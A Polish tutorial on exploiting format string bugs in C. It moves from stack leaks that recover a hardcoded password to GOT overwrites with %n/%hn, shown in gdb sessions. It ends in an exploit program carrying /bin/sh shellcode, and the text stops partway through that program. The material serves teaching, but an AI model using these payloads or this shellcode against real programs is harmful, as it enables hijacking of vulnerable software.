|
Błędy
łańcuchów formatujących (format string)
by h07 (h07@interia.pl).
Intro.
Łańcuchy
formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach,
których parametrem jest łańcuch formatujący) umożliwiają wypełnianie
łańcuchów
znakowych odpowiednimi danymi.
Przykład..
//printf.c
int main()
{
int cena = 65;
printf("Ksiazka kosztuje %d zl\n", cena);
return 0;
}
[h07@MD5 format]$ gcc -o printf printf.c
[h07@MD5 format]$ ./printf
Ksiazka kosztuje 65 zl
Rezultatem
działania przykladowego programu printf.c jest wyświetlenie
łańcucha
znakowego wypełnionego danymi w sposób określony przez
programistę.
Specyfikator %d umożliwia wyświetlenie wartości typu całkowitego
w
systemie dziesiętnym. W naszym przypadku argumentem
specyfikatora
%d była zmienna int cena.
Błędy
łańcuchów formatujących występują wówczas gdy
ilość
specyfikatrów jest wieksza od ilości odpowiadających im
argumentów. Brakujące wartości pobierane są ze stosu
co w
rezultacie umożliwia hakerowi podejżenie zawartości stosu
w
celu odczytania istotnych danych lub przejęcia kontroli nad
wykonywaniem programu.
Podgląd zawartości
stosu.
Przykładowy
program fmt.c podatny jest na atak ciągu formatującego.
Użyta
w nim funkcja snprintf() nie zawiera formatera, co w rezultacie
daje
nam możliwość wprowadzenia z zewnątrz własnego łańcucha formatującego.
//fmt.c
int main(int argc, char *argv[])
{
char buffer[512];
if(argc > 1)
{
snprintf(buffer, sizeof(buffer) -1, argv[1]);
printf("%s\n", buffer);
}
return 0;
}
[h07@MD5 format]$ gcc -o fmt fmt.c
[h07@MD5 format]$ ./fmt "%d %d %d %d %d %d %d %d
%d %d"
0 0 0 0 0 540024880 540024880 875896880 875704368
540031032
Do programu fmt.c wprowadzono 10
specyfikatorów %d, dla których
nie
określono argumentów zawierających wartości całkowite.
Konsekwencją
tego było odczytanie brakujących danych ze stosu
i
wyświetlenie ich w systemie dziesiętnym..
0 0 0 0 0 540024880 540024880 875896880 875704368
540031032
Specyfikator
%x umożliwia wyświetlenie wartości w systemie 16-stkowym..
[h07@MD5 format]$ ./fmt "%x %x %x %x %x %x %x %x
%x %x"
0 0 0 0 0 20302030 20302030 30322030 30323033 32203033
Możliwe
jest zatem pobieranie danych ze stosu ale jak praktycznie to wykorzystać ? ..
//format.c
int main(int argc, char *argv[])
{
char buffer[150];
char *password = "hello world";
if(argc == 1 || strlen(argv[1]) > 100) {
printf("usege: %s <password>\n",
argv[0]);
exit(0); }
if(strcmp(argv[1], password) == 0)
printf("Password ok\n");
else
{
sprintf(buffer, "Access denied, bad password: %s\n", argv[1]);
printf(buffer);
}
return 0;
}
Powyzszy
program podatny jest na błąd łańcucha formatującego.
“Standardowo”
weryfikuje on poprawność
hasła,
po
czym wyświetla stosowny komunikat. Jeśli w tablicy argv[1]
umiescimy
dodatkowe specyfikatory to brakujące dane zostaną pobrane
ze
stosu (w tym nasz tajne hasło “hello world”).
Aby
odczytac dane ze stosu w postaci łańcucha znakowego posłużymy sie
specyfikatorem %s, którego argument jest wskaźnikiem do łańcucha znaków.
[h07@MD5 format]$ for((i = 1; i <= 30; i++)); do
echo -n "[$i] : " && ./format "[%$i\$x] =
'%$i\$s'"; done
[1] : Access denied, bad password: [8048618] = 'Access
denied, bad password: %s
'
[2] : Access denied, bad password: [bffff80f] =
'[%2$x] = '%2$s''
[3] : Segmentation fault
[4] : Access denied, bad password: [0] = '(null)'
[5] : Access denied, bad password: [0] = '(null)'
[6] : Access denied, bad password: [40033bcc] = ''
[7] : Access denied, bad password: [4002ebb4] = ''
[8] : Access denied, bad password: [40026384] = ''
[9] : Access denied, bad password: [40015128] = ''
[10] : Segmentation fault
[11] : Access denied, bad password: [80485e8] = 'hello
world'
[12] : Segmentation fault
[13] : Segmentation fault
[14] : Segmentation fault
[15] : Segmentation fault
[16] : Segmentation fault
[17] : Segmentation fault
[18] : Segmentation fault
[19] : Segmentation fault
[20] : Segmentation fault
[21] : Segmentation fault
[22] : Segmentation fault
[23] : Segmentation fault
'24] : Access denied, bad password: [40015408] = ii
[25] : Segmentation fault
[26] : Access denied, bad password: [0] = '(null)'
[27] : Segmentation fault
[28]
: Access denied, bad password: [40014998] = 'ŘS@'
[29] : Access denied, bad password: [0] = '(null)'
[30] : Access denied, bad password: [bffff5a4] = '¸ő˙'
Wykonując
powyzsze polecenie odczytalismy dane ze stosu (przesuniecie względem szczytu
stosu
określane jest poprzez zmienną iteracyjną i). Korzystając ze
specyfikatorów
%x i
%s ("[%$i\$x] = '%$i\$s'") odczytaliśmy zarówno wartości
szesnastkowe
jak i łańcuchy znakowe.
Nasze “tajne hasło” zostało odczytane podczas 11 iteracji pętli
[11] : Access denied, bad password: [80485e8] = 'hello
world'
Możemy
teraz odczytać nasze hasło stosując metodę bezpośredniego
dostępu
do parametru.
[h07@MD5 format]$ ./format "%11\$s"
Access denied, bad password: hello world
[h07@MD5 format]$ ./format "hello world"
Password ok
Przejęcie kontroli
nad wykonywaniem programu.
Wykorzystanie
błędów łańcuchów formatujących do przejęcia
kontroli
nad wykonywaniem programu nie jest rzeczą łatwą.
Przede
wszystkim musimy zapoznać sie ze specyfikatorem %n.
Ów
specyfikator umieszcza ilość wyprowadzonych przed nim
znaków w adresie pamięci określonym przez argument.
Jeśli
nie określimy argumentu dla sprecyfikatora %n, pobierze
on
brakujące dane ze stosu traktując je jako adres pod którym
zostanie zapisana liczba wybprowadzonych przed nim
znaków.
Konsekwencją
tego bedzie nadpisanie niedozwolonych obszarów
pamięci
czyli błąd segmentacji.
[h07@MD5 format]$ ./fmt "AAAA%n"
Segmentation fault
I co dalej?
Jeśli
odnajdziemy przesunięcie względem szczytu stosu w którym
znajduje
sie nasz łańcuch znakowy (wypełniony konkretnym adresem)
wprowadzany do programu i “zmusimy” specyfikator %n by
pobrał
nasz łańcuch jako argument to da nam to
możliwośc zapisu
liczby
wyprowadzonych znaków przed specyfikatorem %n
w
dowolnym miejscu pamięci.
[h07@MD5 format]$ ./fmt "AAAABBBB %x %x %x %x %x
%x %x %x %x %x"
AAAABBBB 0 0 0 0 0 41414141 42424242 30203020 30203020
34203020
[h07@MD5 format]$ ./fmt "AAAA %x %x %x %x %x
%x"
AAAA 0 0 0 0 0 41414141
[h07@MD5 format]$ ./fmt "AAAA%6\$x"
AAAA41414141
Widzimy
że początek naszego łańcucha znakowego znajduje sie w
szóstym przesunięciu względem szczytu stosu. Oznacza to, iż
potrzebujemy
sześciu specyfikatorów %x aby uzyskać 16-stkową
reprezentacja
łańcucha znakowego AAAA czyli 41414141.
Użyjmy
teraz specyfikatora %n zamiast %x i zobaczmy
co
się stanie..
[h07@MD5 format]$ gdb fmt
(gdb) r "AAAA%6\$n"
Starting program: /home/h07/format/fmt
"AAAA%6\$n"
Program received signal SIGSEGV, Segmentation fault.
0x40060272 in vfprintf () from /lib/tls/libc.so.6
(gdb) info reg
eax 0xf 15
ecx 0x41414141 1094795585
edx 0x0 0
ebx 0x4013f218 1075048984
esp 0xbfffe5d0 0xbfffe5d0
ebp 0xbffff25c 0xbffff25c
esi 0xbfffe5f0 -1073748496
edi 0x4 4
eip 0x40060272 0x40060272
eflags 0x210246 2163270
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/1i $eip
0x40060272 <vfprintf+14642>: mov %edi,(%ecx)
Próbowaliśmy zapisać wartość 0x4 pod adresem 0x41414141.
Przed
specyfikatorem %n umieściliśmy cztery znaki (AAAA)
dlatego
rejestr EDI ma wartość 0x4.
Jednym ze sposobów zmiany sterowania programu jest
modyfikacja wartości umieszczonej pod adresem funkcji
znajdującej
sie w tabeli GOT (Global Offset Table). Do
takich
funkcji należy między innymi funkcja printf() i pierwszym
krokiem jest ustalenie jej adresu.
[h07@MD5 format]$ objdump -R fmt
fmt: file
format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495e0 R_386_GLOB_DAT __gmon_start__
080495d4 R_386_JUMP_SLOT __libc_start_main
080495d8 R_386_JUMP_SLOT printf
080495dc R_386_JUMP_SLOT snprintf
W naszym przypadku funkcja printf() ma adres 080495d8.
Ponieważ
procesory zapisują adresy zaczynając od bajtów
mniej
znaczących musimy odwrócić kolejność bajtów adresu
wprowadzanego
do łańcucha formatującego.
080495d8 = \xd8\x95\x04\x08
Spróbujmy zatem nadpisac ten adres wartością 0x4 i
zobaczmy
co się stanie..
[h07@MD5 format]$ gdb fmt
(gdb) r $'\xd8\x95\x04\x08%6$n'
Starting program: /home/h07/format/fmt
$'\xd8\x95\x04\x08%6$n'
Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()
(gdb) info reg
eax 0xbffff3b0 -1073744976
ecx 0xbffff320 -1073745120
edx 0x4 4
ebx 0x4013f218 1075048984
esp 0xbffff38c 0xbffff38c
ebp 0xbffff5b8 0xbffff5b8
esi 0xbffff644 -1073744316
edi 0xbffff5d0 -1073744432
eip 0x4 0x4
eflags 0x210292 2163346
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Bingo
;) Sterowanie zostało zmienione.
Rejestr
sterujący EIP przyjoł wartość 0x4 co spodowało
skok do adresu 0x00000004.
Dlaczego
0x4 skoro nie wprowadziliśmy znaków AAAA ?
Ponieważ
przed specyfikatorem %n umieściliśmy 4-bajtowy
adres \xd8\x95\x04\x08 (\bajt\bajt\bajt\bajt).
Możemy
wywnioskować ze długość łańcucha formatującego
w
systemie dziesiętnym odpowiada wartości rejetru EIP
w systemie szesnastkowym. Spróbujmy zatem nadpisac
rejestr
EIP wartością 0x4141.
//convert.c
int main()
{
int RET = 0x4141;
printf("Length:
%d\n", RET -4);
return 0;
}
[h07@MD5 format]$ gcc -o convert convert.c
[h07@MD5 format]$ ./convert
Length: 16701
[h07@MD5 format]$ gdb fmt
(gdb) r $'\xd8\x95\x04\x08%16701x%6$n'
Starting program: /home/h07/format/fmt
$'\xd8\x95\x04\x08%16701x%6$n'
Program received signal SIGSEGV, Segmentation fault.
0x00004141 in ?? ()
(gdb) info reg eip
eip 0x4141 0x4141
Program
convert.c zamienił wartość 16-stkową 0x4141 na system
dziesiętny
odejmując długość łańcucha formatującego czyli 4 (4-bajtowy adres)
Uzyskaliśmy
wartość 16701, która wprowadzona do łańcucha formatującego
dała
rezultat nadpisania rejestru EIP wartością 0x4141.
Sytuacja
nieco się komplikuje gdy chcemy nadpisac rejestr EIP
pełnym
(4-bajtowym) adresem np. 0x41414242. Musimy rozbić
ów
adres na dwie części i zapisać pierwszą z nich w adresie
funkcji
printf() a drugą część bezpośrednio pod tym adresem
(adres funkcji printf + 2 [ 080495d8 +2 = 080495da =
\xda\x95\x04\x08 ]).
Do
tego celu użyjemy specyfikatora %hn, który umożliwia zapisanie
wartości
16-bitowej (2-bajtowej).
jeśli
A < B
r $'\xda\x95\x04\x08\xd8\x95\x04\x08%( A )x%6$hn%( B –
A )x%7$hn'
jeśli
A > B
r $'\xd8\x95\x04\x08\xda\x95\x04\x08%( B )x%6$n%( A –
B )x%7$n'
Powyzej
przedstawiony został prosty schemat ustalający długość
łańcucha
formatującego tak by uzyskane wartości powodowały
napisanie
rejestru EIP konkretnym adresem. Przykład..
Adres = 0x41414242
Długość
łańcucha = 8
A = hex: 4141 = dec: 16705
B = hex: 4242 = dec: 16962
(A < B)
A: 16705 - 8 = 16697
B: 16962 – 16697 – 8 = 257
(gdb) r
$'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn'
Starting program: /home/h07/format/fmt
$'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn'
Program received signal SIGSEGV, Segmentation fault.
0x41414242 in ?? ()
(gdb) info reg eip
eip 0x41414242 0x41414242
Adres = 0x42424141
Długość
łańcucha = 8
A = hex: 4242 = dec: 16962
B = hex: 4141 = dec: 16705
(A > B)
B: 16705 - 8 = 16697
A: 16962 – 16697 – 8 = 257
(gdb) r
$'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n'
Starting program: /home/h07/format/fmt
$'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n'
Program received signal SIGSEGV, Segmentation fault.
0x42424141 in ?? ()
(gdb) info reg eip
eip 0x42424141 0x42424141
Potrafimy
już napisac rejestr EIP dowolnym adresem więc nadszedł
czas
napisać exploit który wykorzysta błąd łańcucha formatującego
w
programie fmt.c uruchamiając kod powłoki.
//exp.c (format string exploit demo) by h07
#include <stdio.h>
#define BUFF_SIZE 1000
#define LEN 8
#define NOP 0x90
char buffer[BUFF_SIZE];
char fmt[80];
char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a";
unsigned long get_esp()
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
unsigned long RET, offset = 0;
unsigned int A, B;
if(argc > 1) offset = atoi(argv[1]);
RET = get_esp() - offset;
A = (RET & 0xffff0000) >> 16;
B = (RET & 0x0000ffff);
printf("\nRET: 0x%x\n", RET);
if(A < B)
{
A -= LEN;
sprintf(fmt,
"$'\\xda\\x95\\x04\\x08\\xd8\\x95\\x04\\x08"
"%%%ux%%6$hn"
"%%%ux%%7$hn'", A, (B - A) -LEN);
} else
{
B -= LEN;
sprintf(fmt,
"$'\\xd8\\x95\\x04\\x08\\xda\\x95\\x04\\x08"
"%%%ux%%6$hn"
"%%%ux%%7$hn'", B, (A - B) -LEN);
}
if((sizeof(fmt) + sizeof(shellcode)) > BUFF_SIZE)
{
printf("Error: buffer too small..\n");
exit(1);
}
memset(buffer, NOP, BUFF_SIZE -1);
memcpy(buffer, "EXP=", 4);
memcpy(buffer + BUFF_SIZE -1 - strlen(shellcode),
shellcode, strlen(shellcode));
putenv(buffer);
printf("\nformat string: %s\n\n", fmt);
system("/bin/bash");
|